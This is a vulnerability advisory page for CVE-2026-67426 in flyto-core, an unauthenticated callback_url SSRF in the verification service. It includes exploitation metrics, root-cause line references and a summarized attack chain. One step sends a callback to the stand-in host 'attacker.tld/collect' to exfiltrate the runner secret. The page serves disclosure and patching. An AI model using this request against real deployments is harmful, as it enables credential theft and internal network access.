CVE-2026-67426: Flyto2 Core: Unauthenticated flyto-verification /run: callback_url SSRF and internal runner-secret exfiltration

Should you act?

Critical and remotely reachable

No known exploitation yet, but it is network-reachable without credentials. This signal is computed from CISA KEV, EPSS and CVSS data; it is not an editorial verdict.

• Not in CISA KEV, but CISA’s SSVC assessment records a public proof-of-concept, so attack code exists.
• EPSS 0.5%, percentile 42: FIRST’s model estimates a 0.5% chance of exploitation activity in the next 30 days, higher than 42% of all scored CVEs (low). EPSS is a probability, not a verdict.
• Remotely reachable with no login and no user interaction. If the vulnerable service is exposed to the internet, prioritize it.
• Only applies if your dependency tree includes flyto-core (PyPI) >= 2.26.6, < 2.26.7, fixed in 2.26.7. Check your lockfile, including transitive dependencies.

What it is

Flyto2 Core is an execution kernel for automation and AI-agent workflows. Prior to 2.26.7, the standalone flyto-verification service in src/core/verificationservice.py exposes unauthenticated POST /run on 0.0.0.0:8344 and uses client-supplied callbackurl for an outbound POST with X-Internal-Key: $FLYTORUNNERSECRET while bypassing targetallowed, allowing unauthenticated SSRF and runner secret exfiltration. This issue is fixed in version 2.26.7.

From the GitHub advisory

Summary The standalone flyto-verification service exposes POST /run with no authentication, on all interfaces (0.0.0.0:8344 per the shipped Dockerfile). The request body's callbackurl is used verbatim for an outbound POST that unconditionally attaches X-Internal-Key: $FLYTORUNNERSECRET. The callbackurl bypasses the service's targetallowed allowlist (which only inspects params.targeturl) and is never passed through any SSRF guard. This yields (a) unauthenticated SSRF to internal/metadata endpoints with an attacker-controlled JSON body, and (b) exfiltration of the internal runner secret to an attacker-controlled host — allowing forged authenticated callbacks to the real engine.

Root Cause - src/core/verificationservice.py:363-364 — /run has no Depends/auth dependency. - resolvecallbackurl returns the client callbackurl verbatim (:315-316). - postcallback attaches X-Internal-Key: $FLYTORUNNERSECRET whenever the env var is set (:327-335). - targetallowed only gates params.targeturl (:259), never callbackurl. No validateurl anywhere in the file. - Dockerfile.verification CMD = main('0.0.0.0', 8344); entrypoint flyto-verification in pyproject.toml:107 → the shipped image binds all interfaces by default.

Impact Unauthenticated (PR:N) readable SSRF to internal/cloud-metadata with a controlled body (C:H, S:C), plus theft of FLYTORUNNERSECRET to an attacker host → the attacker can then authenticate to the real engine callback endpoint (credential compromise, CWE-522).

Proof of Concept Code-proven this session (all lines confirmed on v2.26.6):

Attack Chain 1. Entry: unauthenticated POST http:// :8344/run with callbackurl:"http://attacker.tld/collect". Guard: auth on /run. Bypass proof: no Depends(requireauth) (verificationservice.py:363-364); Dockerfile binds all interfaces on port 8344. 2. Check: targetallowed scope (:259). Bypass proof: only inspects params.targeturl; callbackurl is never passed through extracthost/targetallowed. 3. Check: SSRF validation on callbackurl. Bypass proof: file has ZERO validateurl references. 4. Sink: postcallback → session.post(callbackurl, json=payload, headers={"X-Internal-Key": FLYTORUNNERSECRET}) (:330-335); header attached unconditionally when the env var is set (:327-329). 5. Impact:…

Weakness type: CWE-306, CWE-522, CWE-918.

Product: flyto-core (PyPI) · Assigned by: GitHub_M · Published: 2026-07-29

Affected and fixed versions

Severity scores

• Attack vector: network (remotely reachable)
• Attack complexity: low
• Privileges required: none (no login)
• User interaction: none
• Scope: changed (can affect other components)

CVSS measures how bad a flaw is if exploited, not how likely exploitation is. Read it next to the exploitation data below.

Exploitation and urgency

• CISA KEV: not listed (no confirmed in-the-wild exploitation known to CISA).
• CISA SSVC assessment: exploitation poc, automatable yes, technical impact partial.
• FIRST EPSS (model of 2026-10-21): 0.51% probability of exploitation activity in the next 30 days; percentile 42.

Timeline

• 2026-07-29 — CVE record last updated
• 2026-07-29 — CVE record published by GitHub_M
• 2026-07-30 — GitHub-reviewed advisory GHSA-jx74-cqjv-2c67 published (critical)

Sources and references

Original sources first. Version and fix details should always be confirmed against the vendor or project advisory.

Vulnerability records

1. GitHub Advisory GHSA-jx74-cqjv-2c67 github.com
2. CVE.org record CVE-2026-67426 cve.org
3. NVD entry CVE-2026-67426 nvd.nist.gov

Other references from the CVE record and advisory

1. github.com github.com
2. github.com github.com
3. github.com github.com
4. github.com github.com

Critical PyPI advisories · Today’s Security Digest